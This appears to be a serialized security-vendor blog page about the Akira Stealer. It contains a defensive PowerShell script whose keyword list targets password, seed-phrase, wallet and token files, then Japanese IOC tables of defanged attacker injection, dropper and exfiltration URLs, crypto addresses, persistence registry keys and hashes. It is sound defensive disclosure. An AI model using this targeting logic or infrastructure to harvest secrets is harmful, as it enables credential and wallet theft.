exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[578,11532,11533,11538,11543,11548,11552,11557,11562,11567,11572,11577,11582,11586,11591,11596,11601,11605,11610,11615,11619,11624,11629,11634,11639,11644,11648,11653,11658,11663,11667,11671,11676,11680,11685,11689,11694,11699,11704,11709,11714,11719,11724,11728,11733,11738,11743,11748,11753,11758,11763,11768,11773,11777,11782,11787,11791,11796,11801,11806,11811,11816,11821,11826,11831,11835,11839,11843,11848,11852,11857,11862,11867,11871,11876,11881,11886,11891,11896,11901,11906,11912,11917,11923,11928,11934,11940,11945,11950,11956],{"__ignoreMap":530},[1707,11534,11535],{"class":1709,"line":1710},[1707,11536,11537],{},"\u003C#\n",[1707,11539,11540],{"class":1709,"line":531},[1707,11541,11542],{},".SYNOPSIS\n",[1707,11544,11545],{"class":1709,"line":2090},[1707,11546,11547],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1707,11549,11550],{"class":1709,"line":2096},[1707,11551,3869],{"emptyLinePlaceholder":325},[1707,11553,11554],{"class":1709,"line":2419},[1707,11555,11556],{},".DESCRIPTION\n",[1707,11558,11559],{"class":1709,"line":2425},[1707,11560,11561],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1707,11563,11564],{"class":1709,"line":3077},[1707,11565,11566],{},"      • Contain one of the defined keywords in their name\n",[1707,11568,11569],{"class":1709,"line":3872},[1707,11570,11571],{},"      • Have an allowed file extension\n",[1707,11573,11574],{"class":1709,"line":3878},[1707,11575,11576],{},"      • Are not larger than 2 MB\n",[1707,11578,11579],{"class":1709,"line":4125},[1707,11580,11581],{},"    Presents the results in a colored, tabular overview.\n",[1707,11583,11584],{"class":1709,"line":5046},[1707,11585,3869],{"emptyLinePlaceholder":325},[1707,11587,11588],{"class":1709,"line":5052},[1707,11589,11590],{},".NOTES\n",[1707,11592,11593],{"class":1709,"line":5058},[1707,11594,11595],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1707,11597,11598],{"class":1709,"line":5064},[1707,11599,11600],{},"#>\n",[1707,11602,11603],{"class":1709,"line":5070},[1707,11604,3869],{"emptyLinePlaceholder":325},[1707,11606,11607],{"class":1709,"line":5076},[1707,11608,11609],{},"# -------------------------------------\n",[1707,11611,11612],{"class":1709,"line":5082},[1707,11613,11614],{},"# 1. Configuration\n",[1707,11616,11617],{"class":1709,"line":5088},[1707,11618,11609],{},[1707,11620,11621],{"class":1709,"line":5094},[1707,11622,11623],{},"$scanFolders = @(\n",[1707,11625,11626],{"class":1709,"line":5100},[1707,11627,11628],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1707,11630,11631],{"class":1709,"line":5106},[1707,11632,11633],{},"    \"$env:USERPROFILE\\Documents\",\n",[1707,11635,11636],{"class":1709,"line":5112},[1707,11637,11638],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1707,11640,11641],{"class":1709,"line":5118},[1707,11642,11643],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1707,11645,11646],{"class":1709,"line":5124},[1707,11647,5264],{},[1707,11649,11650],{"class":1709,"line":5130},[1707,11651,11652],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1707,11654,11655],{"class":1709,"line":5796},[1707,11656,11657],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1707,11659,11660],{"class":1709,"line":5801},[1707,11661,11662],{},"$maxSize    = 2MB\n",[1707,11664,11665],{"class":1709,"line":5806},[1707,11666,3869],{"emptyLinePlaceholder":325},[1707,11668,11669],{"class":1709,"line":5811},[1707,11670,11609],{},[1707,11672,11673],{"class":1709,"line":5817},[1707,11674,11675],{},"# 2. Scan and Collect Matches\n",[1707,11677,11678],{"class":1709,"line":5822},[1707,11679,11609],{},[1707,11681,11682],{"class":1709,"line":5827},[1707,11683,11684],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1707,11686,11687],{"class":1709,"line":5832},[1707,11688,3869],{"emptyLinePlaceholder":325},[1707,11690,11691],{"class":1709,"line":5837},[1707,11692,11693],{},"foreach ($folder in $scanFolders) {\n",[1707,11695,11696],{"class":1709,"line":5842},[1707,11697,11698],{},"    if (-not (Test-Path $folder)) { continue }\n",[1707,11700,11701],{"class":1709,"line":5847},[1707,11702,11703],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1707,11705,11706],{"class":1709,"line":5853},[1707,11707,11708],{},"        # 2.1 Extension filter\n",[1707,11710,11711],{"class":1709,"line":5859},[1707,11712,11713],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1707,11715,11716],{"class":1709,"line":5865},[1707,11717,11718],{},"        # 2.2 Size filter\n",[1707,11720,11721],{"class":1709,"line":5870},[1707,11722,11723],{},"        if ($_.Length -gt $maxSize) { return }\n",[1707,11725,11726],{"class":1709,"line":5875},[1707,11727,3869],{"emptyLinePlaceholder":325},[1707,11729,11730],{"class":1709,"line":5880},[1707,11731,11732],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1707,11734,11735],{"class":1709,"line":5885},[1707,11736,11737],{},"        $hit = $null\n",[1707,11739,11740],{"class":1709,"line":5891},[1707,11741,11742],{},"        foreach ($kw in $keywords) {\n",[1707,11744,11745],{"class":1709,"line":5896},[1707,11746,11747],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1707,11749,11750],{"class":1709,"line":5901},[1707,11751,11752],{},"                $hit = $kw\n",[1707,11754,11755],{"class":1709,"line":5906},[1707,11756,11757],{},"                break\n",[1707,11759,11760],{"class":1709,"line":5911},[1707,11761,11762],{},"            }\n",[1707,11764,11765],{"class":1709,"line":5916},[1707,11766,11767],{},"        }\n",[1707,11769,11770],{"class":1709,"line":5921},[1707,11771,11772],{},"        if (-not $hit) { return }\n",[1707,11774,11775],{"class":1709,"line":5927},[1707,11776,3869],{"emptyLinePlaceholder":325},[1707,11778,11779],{"class":1709,"line":5933},[1707,11780,11781],{},"        # 2.4 Build relative path\n",[1707,11783,11784],{"class":1709,"line":5939},[1707,11785,11786],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1707,11788,11789],{"class":1709,"line":5945},[1707,11790,3869],{"emptyLinePlaceholder":325},[1707,11792,11793],{"class":1709,"line":5950},[1707,11794,11795],{},"        # 2.5 Collect\n",[1707,11797,11798],{"class":1709,"line":5955},[1707,11799,11800],{},"        $matches.Add([PSCustomObject]@{\n",[1707,11802,11803],{"class":1709,"line":5961},[1707,11804,11805],{},"            FileName    = $_.Name\n",[1707,11807,11808],{"class":1709,"line":5967},[1707,11809,11810],{},"            Location    = $rel\n",[1707,11812,11813],{"class":1709,"line":5973},[1707,11814,11815],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1707,11817,11818],{"class":1709,"line":5979},[1707,11819,11820],{},"            Keyword     = $hit\n",[1707,11822,11823],{"class":1709,"line":5984},[1707,11824,11825],{},"        })\n",[1707,11827,11828],{"class":1709,"line":5989},[1707,11829,11830],{},"    }\n",[1707,11832,11833],{"class":1709,"line":5995},[1707,11834,2428],{},[1707,11836,11837],{"class":1709,"line":6000},[1707,11838,3869],{"emptyLinePlaceholder":325},[1707,11840,11841],{"class":1709,"line":6005},[1707,11842,11609],{},[1707,11844,11845],{"class":1709,"line":6011},[1707,11846,11847],{},"# 3. Display Results\n",[1707,11849,11850],{"class":1709,"line":6017},[1707,11851,11609],{},[1707,11853,11854],{"class":1709,"line":6023},[1707,11855,11856],{},"clear\n",[1707,11858,11859],{"class":1709,"line":6028},[1707,11860,11861],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1707,11863,11864],{"class":1709,"line":6034},[1707,11865,11866],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1707,11868,11869],{"class":1709,"line":6040},[1707,11870,3869],{"emptyLinePlaceholder":325},[1707,11872,11873],{"class":1709,"line":6045},[1707,11874,11875],{},"if ($matches.Count -gt 0) {\n",[1707,11877,11878],{"class":1709,"line":6051},[1707,11879,11880],{},"    $matches |\n",[1707,11882,11883],{"class":1709,"line":6057},[1707,11884,11885],{},"        Sort-Object Location, FileName |\n",[1707,11887,11888],{"class":1709,"line":6062},[1707,11889,11890],{},"        Format-Table -AutoSize `\n",[1707,11892,11893],{"class":1709,"line":6067},[1707,11894,11895],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1707,11897,11898],{"class":1709,"line":6072},[1707,11899,11900],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1707,11902,11903],{"class":1709,"line":6078},[1707,11904,11905],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1707,11907,11909],{"class":1709,"line":11908},79,[1707,11910,11911],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1707,11913,11915],{"class":1709,"line":11914},80,[1707,11916,3869],{"emptyLinePlaceholder":325},[1707,11918,11920],{"class":1709,"line":11919},81,[1707,11921,11922],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1707,11924,11926],{"class":1709,"line":11925},82,[1707,11927,2428],{},[1707,11929,11931],{"class":1709,"line":11930},83,[1707,11932,11933],{},"else {\n",[1707,11935,11937],{"class":1709,"line":11936},84,[1707,11938,11939],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1707,11941,11943],{"class":1709,"line":11942},85,[1707,11944,2428],{},[1707,11946,11948],{"class":1709,"line":11947},86,[1707,11949,3869],{"emptyLinePlaceholder":325},[1707,11951,11953],{"class":1709,"line":11952},87,[1707,11954,11955],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1707,11957,11959],{"class":1709,"line":11958},88,[1707,11960,11961],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[854,11963],{"className":11964},[857,858],[557,11966,11968],{"id":11967},"_12-対応のその先へ-glueckkanja-csocがインシデントをインサイトに変える方法","12. 対応のその先へ – glueckkanja CSOCがインシデントをインサイトに変える方法",[526,11970,562],{},[526,11972,11973,11974],{},"ほとんどのセキュリティオペレーションセンターは封じ込めで止まります。\n",[567,11975,11976],{},"当社は違います。",[526,11978,11979],{},"glueckkanja CSOCでは、インシデント対応はゴールではなく出発点だと考えています。",[526,11981,11982],{},"他社が勝利を宣言して先へ進むとき、当社はさらに深く掘り下げます。当社にとって、それぞれのインシデントは学び、適応し、より強くなる機会です。長年にわたる深いフォレンジックの専門性とリバースエンジニアリングの能力に支えられた飽くなき好奇心により、当社は単に防御するだけでなく、先を読みます。",[526,11984,11985,11986,11989],{},"この哲学こそが、当社が ",[567,11987,11988],{},"Akira Compromise Reporter"," を構築した理由です。",[526,11991,11992],{},"単なる検出をはるかに超えて、この社内開発のフォレンジックツールは、Akira Stealerに関する当社の深い知見を活かし、どのデータが侵害されたのかを完全に明らかにします。数分のうちに、インシデントの全体的な影響を正確かつ実行可能な形でスナップショットとして提示します。",[631,11994,11995,11998,12001],{},[634,11996,11997],{},"どの認証情報、トークン、ブラウザーセッションが窃取されたかを正確に。",[634,11999,12000],{},"どの暗号通貨ウォレット、メッセージングアカウント、ファイルが露出したかを正確に。",[634,12002,12003],{},"明確で構造化された詳細なフォレンジックレポート。不確実性を、即座かつ十分な情報に基づく行動へと変えます。",[526,12005,12006],{},[775,12007],{"alt":12008,"src":12009},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[526,12011,12012],{},"glueckkanjaでは、成功を、ブロックした脅威の数だけでなく、提供した明確さで測るからです。正しく行われるサイバーセキュリティとは、単にインシデントに反応することではありません。理解し、適応し、常に一歩先を行くことです。",[526,12014,12015],{},[567,12016,12017],{},"それがglueckkanja CSOCの違いです。",[557,12019,12021],{"id":12020},"_13-侵害の痕跡-iocs","13. 侵害の痕跡 (IOCs)",[526,12023,562],{},[526,12025,12026],{},"以下は、glueckkanja CSOCにおける当社内部のリバースエンジニアリングの過程で、マルウェアのコードから直接抽出したIOCの包括的かつ逐語的なコレクションです。憶測や外部の脅威インテリジェンスソースは一切使用していません。すべての指標は確認済みの調査結果です。すべてのURLは、誤ったクリックを防ぐため意図的に難読化してあります。",[526,12028,12029],{},[567,12030,12031],{},"略語:",[631,12033,12034,12040],{},[634,12035,12036,12039],{},[567,12037,12038],{},"TG:"," Telegramの報告チャネル",[634,12041,12042,12045],{},[567,12043,12044],{},"Alt:"," 代替（フォールバック）エンドポイント",[741,12047,12049],{"id":12048},"_1-ドメインとurl","1. ドメインとURL",[526,12051,747],{},[1420,12053,4701,12055],{"className":12054,"style":11126},[11125],[1436,12056,12057,4701,12069,4701,12082,4701,12095,4701,12108,4701,12121,4701,12134,4701,12147,4701,12163,4701,12179,4701,12192,4701,12205,4701,12218,4701,12231,4701,12244,4701,12257,4701,12270,4701,12283,4701,12296,4701,12309,4701,12323,4701,12336],{},[1426,12058,4706,12059,4706,12063,4706,12067,4701],{},[1429,12060,12062],{"style":12061},"text-align: left; width: 18%;","カテゴリー",[1429,12064,12066],{"style":12065},"text-align: left; width: 52%;","難読化されたURL",[1429,12068,4875],{},[1426,12070,4706,12071,4706,12074,4706,12079,4701],{},[1441,12072,12073],{},"主要な注入",[1441,12075,12076],{},[578,12077,12078],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1441,12080,12081],{},"最初の攻撃者Webhookエンドポイント",[1426,12083,4706,12084,4706,12087,4706,12092,4701],{},[1441,12085,12086],{},"フォールバックの注入",[1441,12088,12089],{},[578,12090,12091],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1441,12093,12094],{},"代替のインジェクターエンドポイント",[1426,12096,4706,12097,4706,12100,4706,12105,4701],{},[1441,12098,12099],{},"エラー報告 (TG)",[1441,12101,12102],{},[578,12103,12104],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1441,12106,12107],{},"Telegramのエラー／ログ報告URL",[1426,12109,4706,12110,4706,12113,4706,12118,4701],{},[1441,12111,12112],{},"エラー報告 (Alt)",[1441,12114,12115],{},[578,12116,12117],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1441,12119,12120],{},"代替のエラー／ログ報告URL",[1426,12122,4706,12123,4706,12126,4706,12131,4701],{},[1441,12124,12125],{},"バニティボット (TG)",[1441,12127,12128],{},[578,12129,12130],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1441,12132,12133],{},"バニティアドレスの通知エンドポイント",[1426,12135,4706,12136,4706,12139,4706,12144,4701],{},[1441,12137,12138],{},"バニティボット (Alt)",[1441,12140,12141],{},[578,12142,12143],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1441,12145,12146],{},"代替のバニティ通知エンドポイント",[1426,12148,4706,12149,4706,12152,4706,12157,4701],{},[1441,12150,12151],{},"Exodusの注入",[1441,12153,12154],{},[578,12155,12156],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1441,12158,12159,12160,12162],{},"Electronの ",[578,12161,4604],{}," アプリモジュール",[1426,12164,4706,12165,4706,12168,4706,12173,4701],{},[1441,12166,12167],{},"Atomicの注入",[1441,12169,12170],{},[578,12171,12172],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1441,12174,12159,12175,12178],{},[578,12176,12177],{},"AtomicWallet"," モジュール",[1426,12180,4706,12181,4706,12184,4706,12189,4701],{},[1441,12182,12183],{},"Updaterのダウンロード",[1441,12185,12186],{},[578,12187,12188],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1441,12190,12191],{},"永続化のドロッパー実行ファイル",[1426,12193,4706,12194,4706,12197,4706,12202,4701],{},[1441,12195,12196],{},"Gofile APIリスト",[1441,12198,12199],{},[578,12200,12201],{},"https[:]//api.gofile[.]io/servers",[1441,12203,12204],{},"最適なGoFileアップロードサーバーを取得",[1426,12206,4706,12207,4706,12210,4706,12215,4701],{},[1441,12208,12209],{},"Discordトークンのチェック",[1441,12211,12212],{},[578,12213,12214],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1441,12216,12217],{},"窃取したDiscordトークンを検証",[1426,12219,4706,12220,4706,12223,4706,12228,4701],{},[1441,12221,12222],{},"Discordの請求情報",[1441,12224,12225],{},[578,12226,12227],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1441,12229,12230],{},"請求方法を取得",[1426,12232,4706,12233,4706,12236,4706,12241,4701],{},[1441,12234,12235],{},"Google OAuthのリプレイ",[1441,12237,12238],{},[578,12239,12240],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1441,12242,12243],{},"窃取したGoogleセッショントークンをリプレイ",[1426,12245,4706,12246,4706,12249,4706,12254,4701],{},[1441,12247,12248],{},"IPチェック (hosting)",[1441,12250,12251],{},[578,12252,12253],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1441,12255,12256],{},"ホスティング環境の検出",[1426,12258,4706,12259,4706,12262,4706,12267,4701],{},[1441,12260,12261],{},"IPルックアップ (geo)",[1441,12263,12264],{},[578,12265,12266],{},"http[:]//ip-api[.]com/json/{ip}",[1441,12268,12269],{},"IPによる地理位置特定",[1426,12271,4706,12272,4706,12275,4706,12280,4701],{},[1441,12273,12274],{},"パブリックIPの取得",[1441,12276,12277],{},[578,12278,12279],{},"https[:]//api[.]ipify[.]org",[1441,12281,12282],{},"外部IPアドレスを取得",[1426,12284,4706,12285,4706,12288,4706,12293,4701],{},[1441,12286,12287],{},"File.ioのアップロード",[1441,12289,12290],{},[578,12291,12292],{},"https[:]//file[.]io/",[1441,12294,12295],{},"二次的な窃取チャネル",[1426,12297,4706,12298,4706,12301,4706,12306,4701],{},[1441,12299,12300],{},"Oshi.atのアップロード",[1441,12302,12303],{},[578,12304,12305],{},"http[:]//oshi[.]at/",[1441,12307,12308],{},"三次的な窃取チャネル",[1426,12310,4706,12311,4706,12314,4706,12320,4701],{},[1441,12312,12313],{},"JSドロッパー 主",[1441,12315,12316],{},[718,12317,12319],{"href":12318,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1441,12321,12322],{},"実際のZIP URLへのリモート参照",[1426,12324,4706,12325,4706,12328,4706,12333,4701],{},[1441,12326,12327],{},"JSドロッパー フォールバック1",[1441,12329,12330],{},[718,12331,12332],{"href":3619,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1441,12334,12335],{},"代替のペイロードZIP",[1426,12337,4706,12338,4706,12341,4706,12346,4701],{},[1441,12339,12340],{},"JSドロッパー フォールバック2",[1441,12342,12343],{},[718,12344,12345],{"href":3624,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1441,12347,12348],{},"二次的なフォールバックのペイロードZIP",[854,12350],{"className":12351},[857,858],[741,12353,12355],{"id":12354},"_2-暗号通貨アドレス","2. 暗号通貨アドレス",[526,12357,747],{},[1420,12359,4701,12361],{"className":12360,"style":11126},[11125],[1436,12362,12363,4701,12371,4701,12381,4701,12391,4701,12401,4701,12410,4701,12420,4701,12430,4701,12440,4701,12450,4701,12460],{},[1426,12364,4706,12365,4706,12368,4701],{},[1429,12366,12367],{"style":11137},"通貨",[1429,12369,12370],{},"アドレス",[1426,12372,4706,12373,4706,12376,4701],{},[1441,12374,12375],{},"BTC",[1441,12377,12378],{},[578,12379,12380],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1426,12382,4706,12383,4706,12386,4701],{},[1441,12384,12385],{},"ETH",[1441,12387,12388],{},[578,12389,12390],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1426,12392,4706,12393,4706,12396,4701],{},[1441,12394,12395],{},"DOGE",[1441,12397,12398],{},[578,12399,12400],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1426,12402,4706,12403,4706,12406,4701],{},[1441,12404,12405],{},"LTC",[1441,12407,12408],{},[578,12409,11168],{},[1426,12411,4706,12412,4706,12415,4701],{},[1441,12413,12414],{},"XMR",[1441,12416,12417],{},[578,12418,12419],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1426,12421,4706,12422,4706,12425,4701],{},[1441,12423,12424],{},"BCH",[1441,12426,12427],{},[578,12428,12429],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1426,12431,4706,12432,4706,12435,4701],{},[1441,12433,12434],{},"DASH",[1441,12436,12437],{},[578,12438,12439],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1426,12441,4706,12442,4706,12445,4701],{},[1441,12443,12444],{},"TRX",[1441,12446,12447],{},[578,12448,12449],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1426,12451,4706,12452,4706,12455,4701],{},[1441,12453,12454],{},"XRP",[1441,12456,12457],{},[578,12458,12459],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1426,12461,4706,12462,4706,12465,4701],{},[1441,12463,12464],{},"XLM",[1441,12466,12467],{},[578,12468,12469],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[854,12471],{"className":12472},[857,858],[741,12474,12476],{"id":12475},"_3-レジストリキーパス","3. レジストリキー／パス",[526,12478,747],{},[1420,12480,4701,12482],{"className":12481,"style":11126},[11125],[1436,12483,12484,4701,12491,4701,12501,4701,12511,4701,12524],{},[1426,12485,4706,12486,4706,12489,4701],{},[1429,12487,1676],{"style":12488},"text-align: left; width: 60%;",[1429,12490,8302],{},[1426,12492,4706,12493,4706,12498,4701],{},[1441,12494,12495],{},[578,12496,12497],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1441,12499,12500],{},"仮想GPUドライバーのシグネチャを確認",[1426,12502,4706,12503,4706,12508,4701],{},[1441,12504,12505],{},[578,12506,12507],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1441,12509,12510],{},"仮想GPUのプロバイダー名を確認",[1426,12512,4706,12513,4706,12521,4701],{},[1441,12514,12515,12518,12519,4433],{},[578,12516,12517],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (値 ",[567,12520,1687],{},[1441,12522,12523],{},"Runキーによる永続化 (Updater.exe)",[1426,12525,4706,12526,4706,12530,4701],{},[1441,12527,12528],{},[578,12529,1695],{},[1441,12531,12532],{},"永続化の実行ファイル",[854,12534],{"className":12535},[857,858],[741,12537,12539],{"id":12538},"_5-ファイルとハッシュ","5. ファイルとハッシュ",[526,12541,747],{},[1420,12543,4701,12545],{"className":12544,"style":11126},[11125],[1436,12546,12547,4701,12558,4701,12570,4701,12582,4701,12595,4701,12607,4701,12619,4701,12631,4701,12643,4701,12656,4701,12668,4701,12681,4701,12693],{},[1426,12548,4706,12549,4706,12551,4706,12555,4701],{},[1429,12550,11473],{"style":12061},[1429,12552,12554],{"style":12553},"text-align: left; width: 62%;","SHA256",[1429,12556,12557],{},"サイズ (バイト)",[1426,12559,4706,12560,4706,12562,4706,12567,4701],{},[1441,12561,1846],{},[1441,12563,12564],{},[578,12565,12566],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1441,12568,12569],{},"63936274",[1426,12571,4706,12572,4706,12574,4706,12579,4701],{},[1441,12573,606],{},[1441,12575,12576],{},[578,12577,12578],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1441,12580,12581],{},"162036224",[1426,12583,4706,12584,4706,12587,4706,12592,4701],{},[1441,12585,12586],{},"jscrypter.js",[1441,12588,12589],{},[578,12590,12591],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1441,12593,12594],{},"1429",[1426,12596,4706,12597,4706,12599,4706,12604,4701],{},[1441,12598,2833],{},[1441,12600,12601],{},[578,12602,12603],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1441,12605,12606],{},"30138",[1426,12608,4706,12609,4706,12611,4706,12616,4701],{},[1441,12610,2830],{},[1441,12612,12613],{},[578,12614,12615],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1441,12617,12618],{},"7155",[1426,12620,4706,12621,4706,12623,4706,12628,4701],{},[1441,12622,2758],{},[1441,12624,12625],{},[578,12626,12627],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1441,12629,12630],{},"211",[1426,12632,4706,12633,4706,12635,4706,12640,4701],{},[1441,12634,613],{},[1441,12636,12637],{},[578,12638,12639],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1441,12641,12642],{},"205210",[1426,12644,4706,12645,4706,12648,4706,12653,4701],{},[1441,12646,12647],{},"exodus.asar",[1441,12649,12650],{},[578,12651,12652],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1441,12654,12655],{},"132486332",[1426,12657,4706,12658,4706,12660,4706,12665,4701],{},[1441,12659,1904],{},[1441,12661,12662],{},[578,12663,12664],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1441,12666,12667],{},"28454",[1426,12669,4706,12670,4706,12673,4706,12678,4701],{},[1441,12671,12672],{},"download.dat",[1441,12674,12675],{},[578,12676,12677],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1441,12679,12680],{},"21142",[1426,12682,4706,12683,4706,12685,4706,12690,4701],{},[1441,12684,2891],{},[1441,12686,12687],{},[578,12688,12689],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1441,12691,12692],{},"32375391",[1426,12694,4706,12695,4706,12697,4706,12702,4701],{},[1441,12696,602],{},[1441,12698,12699],{},[578,12700,12701],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1441,